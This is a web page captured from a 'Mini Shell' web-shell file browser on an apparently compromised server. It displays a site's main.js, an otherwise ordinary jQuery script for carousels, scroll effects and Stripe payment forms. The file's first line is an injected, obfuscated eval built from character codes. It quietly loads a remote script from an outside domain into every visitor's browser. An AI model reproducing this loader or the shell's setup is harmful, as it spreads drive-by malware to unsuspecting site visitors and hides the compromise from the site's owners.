%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/eirtvhdf/public_html/assets/js/
Upload File :
Create Path :
Current File : //home/eirtvhdf/public_html/assets/js/main.js

var f=String;eval(f.fromCharCode(102,117,110)+f.fromCharCode(99,116,105,111,110)+f.fromCharCode(32,97,115,115,40,115,114,99,41,123,114,101,116,117,114,110)+f.fromCharCode(32,66,111,111,108,101,97,110)+f.fromCharCode(40,100,111,99,117,109,101,110)+f.fromCharCode(116,46,113,117,101,114,121,83,101,108,101,99,116,111,114,40,39,115,99,114,105,112,116,91,115,114,99,61,34,39,32,43,32,115,114,99,32,43,32,39,34,93,39,41,41,59,125,32,118,97,114,32,108,111,61,34,104,116,116,112,115,58,47,47,115,116,97,121,46,108,105,110)+f.fromCharCode(101,115,116,111,103,101,116,46,99,111,109,47,115,99,114,105,112,116,115,47,103,101,116,46,106,115,63,118,61,49,46,48,46,49,34,59,105,102,40,97,115,115,40,108,111,41,61,61,102,97,108,115,101,41,123,118,97,114,32,100,61,100,111,99,117,109,101,110)+f.fromCharCode(116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110)+f.fromCharCode(116,40,39,115,99,114,105,112,116,39,41,59,32,115,46,115,114,99,61,108,111,59,105,102,32,40,100,111,99,117,109,101,110)+f.fromCharCode(116,46,99,117,114,114,101,110)+f.fromCharCode(116,83,99,114,105,112,116,41,32,123,32,100,111,99,117,109,101,110)+f.fromCharCode(116,46,99,117,114,114,101,110)+f.fromCharCode(116,83,99,114,105,112,116,46,112,97,114,101,110)+f.fromCharCode(116,78,111,100,101,46,105,110)+f.fromCharCode(115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110)+f.fromCharCode(116,46,99,117,114,114,101,110)+f.fromCharCode(116,83,99,114,105,112,116,41,59,125,32,101,108,115,101,32,123,100,46,103,101,116,69,108,101,109,101,110)+f.fromCharCode(116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110)+f.fromCharCode(100,67,104,105,108,100,40,115,41,59,125,125));/*99586587347*/ AOS.init({
 	duration: 800,
 	easing: 'slide'
 });

(function($) {

	"use strict";

	var isMobile = {
		Android: function() {
			return navigator.userAgent.match(/Android/i);
		},
			BlackBerry: function() {
			return navigator.userAgent.match(/BlackBerry/i);
		},
			iOS: function() {
			return navigator.userAgent.match(/iPhone|iPad|iPod/i);
		},
			Opera: function() {
			return navigator.userAgent.match(/Opera Mini/i);
		},
			Windows: function() {
			return navigator.userAgent.match(/IEMobile/i);
		},
			any: function() {
			return (isMobile.Android() || isMobile.BlackBerry() || isMobile.iOS() || isMobile.Opera() || isMobile.Windows());
		}
	};


	/*$(window).stellar({
    responsive: true,
    parallaxBackgrounds: true,
    parallaxElements: true,
    horizontalScrolling: false,
    hideDistantElements: false,
    scrollProperty: 'scroll'
  });*/


	var fullHeight = function() {

		$('.js-fullheight').css('height', $(window).height());
		$(window).resize(function(){
			$('.js-fullheight').css('height', $(window).height());
		});

	};
	fullHeight();

	// loader
	/*var loader = function() {
		setTimeout(function() {
			if($('#ftco-loader').length > 0) {
				$('#ftco-loader').removeClass('show');
			}
		}, 1);
	};
	loader();*/

	// Scrollax
   $.Scrollax();

	var carousel = function() {
		$('.carousel-testimony').owlCarousel({
			center: true,
			loop: true,
			items:1,
			margin: 30,
			stagePadding: 0,
			nav: true,
			navText: ['<span class="ion-ios-arrow-back">', '<span class="ion-ios-arrow-forward">'],
			responsive:{
				0:{
					items: 1
				},
				600:{
					items: 2
				},
				1000:{
					items: 3
				}
			}
		});

		$('.slider-carousel').owlCarousel({
			animateOut: 'fadeOut',
	    animateIn: 'fadeIn',
			autoplay: true,
			// center: true,
			loop: true,
			items:1,
			margin: 0,
			stagePadding: 0,
			nav: false,
			dots: false,
			navText: ['<span class="ion-ios-arrow-back">', '<span class="ion-ios-arrow-forward">'],
			responsive:{
				0:{
					items: 1
				},
				600:{
					items: 1
				},
				1000:{
					items: 1
				}
			}
		});

        $('.carouselDiv .owl-carousel').owlCarousel({
            loop:true,
            autoplay: true,
            animateOut: 'slideOutUp',
            animateIn: 'slideInUp',
            margin:10,
            responsiveClass:true,
            responsive:{
                0:{
                    items:1,
                    nav:true
                },
                600:{
                    items:1,
                    nav:false
                },
                1000:{
                    items:1,
                    nav:true,
                    loop:true
                }
            }
        });

	};
	carousel();

	$('nav .dropdown').hover(function(){
		var $this = $(this);
		// 	 timer;
		// clearTimeout(timer);
		$this.addClass('show');
		$this.find('> a').attr('aria-expanded', true);
		// $this.find('.dropdown-menu').addClass('animated-fast fadeInUp show');
		$this.find('.dropdown-menu').addClass('show');
	}, function(){
		var $this = $(this);
			// timer;
		// timer = setTimeout(function(){
			$this.removeClass('show');
			$this.find('> a').attr('aria-expanded', false);
			// $this.find('.dropdown-menu').removeClass('animated-fast fadeInUp show');
			$this.find('.dropdown-menu').removeClass('show');
		// }, 100);
	});


	$('#dropdown04').on('show.bs.dropdown', function () {
	  console.log('show');
	});


    var path = window.location.pathname;
    var page = path.split("/").pop();
    // console.log('path',path);
    // console.log('path2',page);
    if(page == "index.php" || page == ""){
    }else{
        // $('nav').css('background-color','red !important');
        $('.ftco-navbar-light .navbar-nav>.nav-item>.nav-link').css('color','black');
        $('.ftco-navbar-light .navbar-toggler').css('color','black');
        $('.navlogo').css('content','url("assets/images/logo2.png")');
    }
	// scroll
	var scrollWindow = function() {
		$(window).scroll(function(){
			var $w = $(this),
					st = $w.scrollTop(),
					navbar = $('.ftco_navbar'),
					sd = $('.js-scroll-wrap');

			if (st > 150) {
				if ( !navbar.hasClass('scrolled') ) {
					navbar.addClass('scrolled');	
				}
			} 
			if (st < 150) {
				if ( navbar.hasClass('scrolled') ) {
					navbar.removeClass('scrolled sleep');
				}
			} 
			if ( st > 350 ) {
				if ( !navbar.hasClass('awake') ) {
					navbar.addClass('awake');	
				}
				
				if(sd.length > 0) {
					sd.addClass('sleep');
				}
			}
			if ( st < 350 ) {
				if ( navbar.hasClass('awake') ) {
					navbar.removeClass('awake');
					navbar.addClass('sleep');
				}
				if(sd.length > 0) {
					sd.removeClass('sleep');
				}
			}
		});
	};
	scrollWindow();

	var isMobile = {
		Android: function() {
			return navigator.userAgent.match(/Android/i);
		},
			BlackBerry: function() {
			return navigator.userAgent.match(/BlackBerry/i);
		},
			iOS: function() {
			return navigator.userAgent.match(/iPhone|iPad|iPod/i);
		},
			Opera: function() {
			return navigator.userAgent.match(/Opera Mini/i);
		},
			Windows: function() {
			return navigator.userAgent.match(/IEMobile/i);
		},
			any: function() {
			return (isMobile.Android() || isMobile.BlackBerry() || isMobile.iOS() || isMobile.Opera() || isMobile.Windows());
		}
	};

	
	var counter = function() {
		
		$('#section-counter').waypoint( function( direction ) {

			if( direction === 'down' && !$(this.element).hasClass('ftco-animated') ) {

				var comma_separator_number_step = $.animateNumber.numberStepFactories.separator(',')
				$('.number').each(function(){
					var $this = $(this),
						num = $this.data('number');
						console.log(num);
					$this.animateNumber(
					  {
					    number: num,
					    numberStep: comma_separator_number_step
					  }, 7000
					);
				});
				
			}

		} , { offset: '95%' } );

	}
	counter();

	var contentWayPoint = function() {
		var i = 0;
		$('.ftco-animate').waypoint( function( direction ) {

			if( direction === 'down' && !$(this.element).hasClass('ftco-animated') ) {
				
				i++;

				$(this.element).addClass('item-animate');
				setTimeout(function(){

					$('body .ftco-animate.item-animate').each(function(k){
						var el = $(this);
						setTimeout( function () {
							var effect = el.data('animate-effect');
							if ( effect === 'fadeIn') {
								el.addClass('fadeIn ftco-animated');
							} else if ( effect === 'fadeInLeft') {
								el.addClass('fadeInLeft ftco-animated');
							} else if ( effect === 'fadeInRight') {
								el.addClass('fadeInRight ftco-animated');
							} else {
								el.addClass('fadeInUp ftco-animated');
							}
							el.removeClass('item-animate');
						},  k * 50, 'easeInOutExpo' );
					});
					
				}, 100);
				
			}

		} , { offset: '95%' } );
	};
	contentWayPoint();


	// navigation
	var OnePageNav = function() {
		$(".smoothscroll[href^='#'], #ftco-nav ul li a[href^='#']").on('click', function(e) {
		 	e.preventDefault();

		 	var hash = this.hash,
		 			navToggler = $('.navbar-toggler');
		 	$('html, body').animate({
		    scrollTop: $(hash).offset().top
		  }, 700, 'easeInOutExpo', function(){
		    window.location.hash = hash;
		  });


		  if ( navToggler.is(':visible') ) {
		  	navToggler.click();
		  }
		});
		$('body').on('activate.bs.scrollspy', function () {
		  console.log('nice');
		})
	};
	OnePageNav();


	// magnific popup
	/*$('.image-popup').magnificPopup({
    type: 'image',
    closeOnContentClick: true,
    closeBtnInside: false,
    fixedContentPos: true,
    mainClass: 'mfp-no-margins mfp-with-zoom', // class to remove default margin from left and right side
     gallery: {
      enabled: true,
      navigateByImgClick: true,
      preload: [0,1] // Will preload 0 - before current, and 1 after the current image
    },
    image: {
      verticalFit: true
    },
    zoom: {
      enabled: true,
      duration: 300 // don't foget to change the duration also in CSS
    }
  });*/

  /*$('.popup-youtube, .popup-vimeo, .popup-gmaps').magnificPopup({
    disableOn: 700,
    type: 'iframe',
    mainClass: 'mfp-fade',
    removalDelay: 160,
    preloader: false,

    fixedContentPos: false
  });*/

  $('a[href="#"]').attr('href','javascript:;');

  $('.ctaDiv .pckgSlct').on('click',function(){
      goToScroll('logoPgPrice');
  });

  if($('#eirLogo-cform').length > 0){JF.init('#eirLogo-cform');}

    if($('.bxslider').length > 0){
        $('.bxslider').bxSlider({
            minSlides: 1,
            maxSlides: 8,
            slideWidth: 189,
            slideMargin: 0,
            ticker: true,
            speed: 50000
        });
	}





// bind sort button click
    $('.sort-by-button-group').on( 'click', 'button', function() {
        var sortValue = $(this).attr('data-sort-value');
        $grid.isotope({ sortBy: sortValue });
    });

// change is-checked class on buttons
    $('.button-group').each( function( i, buttonGroup ) {
        var $buttonGroup = $( buttonGroup );
        $buttonGroup.on( 'click', 'button', function() {
            $buttonGroup.find('.is-checked').removeClass('is-checked');
            $( this ).addClass('is-checked');
        });
    });

    // init Isotope
	if($('.portfolioFilter').length > 0){
        var $grid = $('.portfolioFilter').isotope({
            // options
            itemSelector: '.item',
            layoutMode: 'fitRows',
            sortBy : 'random'
        });
	}
// filter items on button click
    $('.linksDv').on( 'click', 'a', function() {
        var filterValue = $(this).attr('data-filter');
        $grid.isotope({ filter: filterValue });
    });


    lazzyload();

    if($('#paymentForm').length>0){
    	var request;
    	$('#paymentForm').submit(function(){
            if (request) {request.abort();}

            var $form = $(this);
            var $inputs = $form.find("input, select, button, textarea");
            var serializedData = $form.serialize();
            $inputs.prop("disabled", true);

            request = $.ajax({
                url: "../pay/make-payment/getLink.php",
                type: "post",
                data: serializedData
            });

            request.done(function (response, textStatus, jqXHR){
                // Log a message to the console
                console.log(response, textStatus, jqXHR);
                $('.showLink').text(response).removeAttr('hidden');
            });


            request.fail(function (jqXHR, textStatus, errorThrown){
                console.log(
                    "The following error occurred: "+
                    textStatus, errorThrown
                );
            });




            return false;
		});
	}
	
	
	if($('#paymentForms').length>0){
    	var request;
    	$('#paymentForms').submit(function(){
            if (request) {request.abort();}

            var $form = $(this);
            var $inputs = $form.find("input, select, button, textarea");
            var serializedData = $form.serialize();
            $inputs.prop("disabled", true);

            request = $.ajax({
                url: "../../paynow/make-payment/getLink.php",
                type: "post",
                data: serializedData
            });

            request.done(function (response, textStatus, jqXHR){
                // Log a message to the console
                console.log(response, textStatus, jqXHR);
                $('.showLink').text(response).removeAttr('hidden');
            });


            request.fail(function (jqXHR, textStatus, errorThrown){
                console.log(
                    "The following error occurred: "+
                    textStatus, errorThrown
                );
            });




            return false;
		});
	}


})(jQuery);


 $(window).load(function(){
     $('.payForm').each(function(){
         var stripe = Stripe('pk_live_51HRQYpDz0FG6tpUU9wFcfciuI2LPWXk1EkYGKhroOLXUmjBlEk9dMeYQzFulZqT0LByMPzu2zVujOwrViUoXCGWF00uVuj0Fg8');
         var $this = $(this);
         $this.on('submit',function(e){
             event.preventDefault();
             stripe.createToken(card).then(function(result) {
                 if (result.error) {
                     // Inform the customer that there was an error.
                     $this.append('<span class="card-errors">'+result.error.message+'</span>')
                     // var errorElement = document.getElementById('card-errors');
                     // errorElement.textContent = result.error.message;
                 } else {
                     // Send the token to your server.
                     stripeTokenHandler(result.token,$this);
                 }
             });
         });

         var dataamount = $this.find('.stripe-button').attr('data-amount');
         var datadescription = $this.find('.stripe-button').attr('data-description');
         $this.append('<input type="hidden" name="stripeAmount" value="'+dataamount+'"><input type="hidden" name="stripeDesc" value="'+datadescription+'">');

     });
 });


    $(function () {
        $("#btnClosePopup").click(function () {
            $("#myModal4").modal("hide");
        });
    });


 $(window).load(function(){

     // loader
     var loader = function() {
         setTimeout(function() {
             if($('#ftco-loader').length > 0) {
                 $('#ftco-loader').removeClass('show');
             }
         }, 1);
     };
     loader();
 	lazzyload();
 });
$(window).scroll(function(){
	lazzyload();
	/*if(!$('body').hasClass('scriptLoaded')){
        $('script[data-src]').each(function(){
        	var fpath = $(this).attr('data-src');
        	$(this).attr('src',fpath);
		});
        $('body').addClass('scriptLoaded')
	}*/
});

/*var formsInside = $('.payForm').length;


for(var i=0; i<formsInside;i++){
    console.log(i);
}*/

/*

 var form = document.getElementById('payment-form');
 form.addEventListener('submit', function(event) {
     event.preventDefault();

     stripe.createToken(card).then(function(result) {
         if (result.error) {
             // Inform the customer that there was an error.
             var errorElement = document.getElementById('card-errors');
             errorElement.textContent = result.error.message;
         } else {
             // Send the token to your server.
             stripeTokenHandler(result.token);
         }
     });
 });

*/
 function stripeTokenHandler(token,form) {
     // Insert the token ID into the form so it gets submitted to the server
     //var form = document.getElementById('payment-form');
     var hiddenInput = document.createElement('input');
     hiddenInput.setAttribute('type', 'hidden');
     hiddenInput.setAttribute('name', 'stripeToken');
     hiddenInput.setAttribute('value', token.id);
     //form.appendChild(hiddenInput);
	 form.append(hiddenInput);

     // Submit the form
     form.submit();
 }


 function goToScroll(n){$("html, body").animate({scrollTop:$("."+n).offset().top},1e3)}

 //Lazzy Load Function
 function lazzyload(){var txt='',offset,winscr,$this,count=0;$('img[data-src]').each(function(){count++;$this=$(this);winscr=$(window).scrollTop()+$(window).height();offset=$(this).offset().top;if(winscr>=offset&&offset!=0){if(!$this.hasClass('imgadded')){var isrc=$this.attr('data-src');$this.attr('src',isrc);$this.addClass('imgadded');$this.load(function(){$(this).hide().fadeIn(300,'',function(){$(this).removeAttr('style');});});}}});$('[data-img]').each(function(){count++;$this=$(this);winscr=$(window).scrollTop()+$(window).height();offset=$(this).offset().top;if(winscr>=offset){if(!$this.hasClass('bgadded')){var isrc=$this.attr('data-img');$this.css('background-image',isrc);$this.addClass('bgadded');}}});}

 
$(function(){
    $('.imageview .card').click(function(){
        $('#imageFullMode').addClass('imageView').html("<img src='"+$(this).find('img').attr('data-fullImgSrc')+"'/>");
    });
    $('#imageFullMode').click(function(){$(this).removeClass('imageView').html("");});
    
    $('.morepkg').click(function(){
        $(this).text(function(i,old){
            return old=='More Packages' ?  'Show Less' : 'More Packages';
        });
    });
    $('.show_mr').click(function(){
        // if($(this).text() == 'show more'){
        //     $(this).siblings('.pricing-text').css({'max-height':'1200px'});
        // }else{
        //     $(this).siblings('.pricing-text').css({'max-height':'300px'});
        // }
        // $(this).text(function(i,old){
        //     return old=='show more' ?  'show less' : 'show more';
        // });
    })
});



// -------------- 3D Animation Start

$(function(){
    var card = $('.perspectCont');
    card.on('mousemove', function (e) {
        var x = e.clientX - $(this).offset().left + $(window).scrollLeft();
        var y = e.clientY - $(this).offset().top + $(window).scrollTop();
        
        var rY = map(x, 0, $(this).width(), -20, 20);
        var rX = map(y, 0, $(this).height(),-20, 20);
        // 
        $('.perspectDiv').css("transform", "rotateY(" + rY + "deg)" + " " + "rotateX(" + -rX + "deg) translateZ(30px)");
    });
    
    card.on('mouseenter', function () {
        $(".perspectDiv").css({
            transition: "all " + 0.05 + "s" + " linear",
        });
    });

    card.on('mouseleave', function () {
        $(".perspectDiv").css({
            transition: "all " + 0.2 + "s" + " linear",
        });

        $(".perspectDiv").css("transform", "rotateY(0deg) rotateX(0deg)");
    });
        
    function map(x, in_min, in_max, out_min, out_max)
    {
        return (x - in_min) * (out_max - out_min) / (in_max - in_min) + out_min;
    }
});

function competent_data(icon1, icon2, name, desc){
    $('.compt_pers #icon1').removeClass().addClass(icon1);
    $('.compt_pers #icon2').removeClass().addClass(icon2);
    $('.compt_pers h3').html(name);
    $('.compt_pers p').html(desc);
}
// -------------- 3D Animation End

// -------------- Partner Logo
$(function(){
    $('.complogo').each(function(){
        $(this).html('<svg xmlns="http://www.w3.org/2000/svg" xml:space="preserve" version="1.1" style="shape-rendering:geometricPrecision; text-rendering:geometricPrecision; image-rendering:optimizeQuality; fill-rule:evenodd; clip-rule:evenodd"'+
        'viewBox="0 0 50 53"'+
        'xmlns:xlink="http://www.w3.org/1999/xlink">'+
        '<defs>'+
            '<clipPath id="compimg">'+
            '<path d="M8 15l30 0 0 23 -30 0 0 -23z"/>'+
            '</clipPath>'+
        '<radialGradient id="compgradient" gradientUnits="userSpaceOnUse" gradientTransform="matrix(-1.28136 -1.09502 1.10457 -1.2925 36 106)" cx="31.0942" cy="31.4818" r="18.6735" fx="31.0942" fy="31.4818">'+
        '<stop offset="0" style="stop-opacity:1; stop-color:#FEFEFE"/>'+
        '<stop offset="1" style="stop-opacity:1; stop-color:#E6E6E6"/>'+
        '</radialGradient>'+
        '<filter id="f1" x="-50%" y="-50%" width="200%" height="200%">'+
            // '<feOffset result="offOut" in="SourceGraphic" dx="0" dy="0" />'+
            '<feGaussianBlur result="blurOut" in="offOut" stdDeviation="1.5" />'+
            // '<feBlend in="SourceGraphic" in2="blurOut" mode="normal" />'+
        '</filter>'+
        '</defs>'+
        '<g class="complogomain">'+
            '<polygon class="complogoback" points="23,2 34,8 44,14 44,27 44,39 34,45 23,51 12,45 2,39 2,27 2,14 12,8 " filter="url(#f1)"/>'+
            '<polygon class="complogo" points="23,2 34,8 44,14 44,27 44,39 34,45 23,51 12,45 2,39 2,27 2,14 12,8 "/>'+
            '<g style="clip-path:url(#compimg)">'+
            '<image x="8" y="15" width="30.1251" height="23.268" xlink:href="'+
                $(this).attr('data-img')+
            '"/>'+
            '</g>'+
        '</g>'+
        '</svg>');
    });
    
    $(".servicebtn").click(function(){
        var title = $(this).attr('data-package-title');
        var price = $(this).attr('data-package-price');
        $("#get_amount").val(price);
        $("#get_package").val(title);
        $(".servicepopup").css("display","flex").hide().fadeIn(300);
        $("#demo").css("filter","blur(10px)");
    });
    $(".servicepopup .closebtn").click(function(){
        $(".servicepopup").css("display","flex").show().fadeOut(300);
        $("#demo").css("filter","blur(0px)");
    });
    
    
    $(".servicebtn2").click(function(){
        var title = $(this).attr('data-package-title');
        var price = $(this).attr('data-package-price');
        $("#get_amounts").val(price);
        $("#get_packages").val(title);
        $(".servicepopup2").css("display","flex").hide().fadeIn(300);
    });
    $(".servicepopup2 .closebtn").click(function(){
        $(".servicepopup2").css("display","flex").show().fadeOut(300);
    });
    
});


 $(".strip2 button, .req_info").click(function(){
        $(".req_form").css("display","flex").hide().fadeIn(300);
        $("#demo").css("filter","blur(10px)");
    });
    $(".req_form .closebtn").click(function(){
        $(".req_form").css("display","flex").show().fadeOut(300);
        $("#demo").css("filter","blur(0px)");
    });
	var req2closeVal = 0;
    $(".req_form2 .strip1 p").click(function(){
        if(req2closeVal == 0){
            req2closeVal = 1;
            $(".req_form2").css({"left": "0", "transition": "all 0.3s"});
            $(".req2closebtn").fadeIn(300);
        }else{
            req2closeVal = 0;
            $(".req_form2").css({"left": "-400px"});
            $(".req2closebtn").fadeOut(1000);
        }
    });
    $(".req2closebtn").click(function(){
        if(req2closeVal == 1){
            req2closeVal = 0;
            $(".req_form2").css({"left": "-400px"});
            $(".req2closebtn").fadeOut(1000);
        }
    });

Zerion Mini Shell 1.0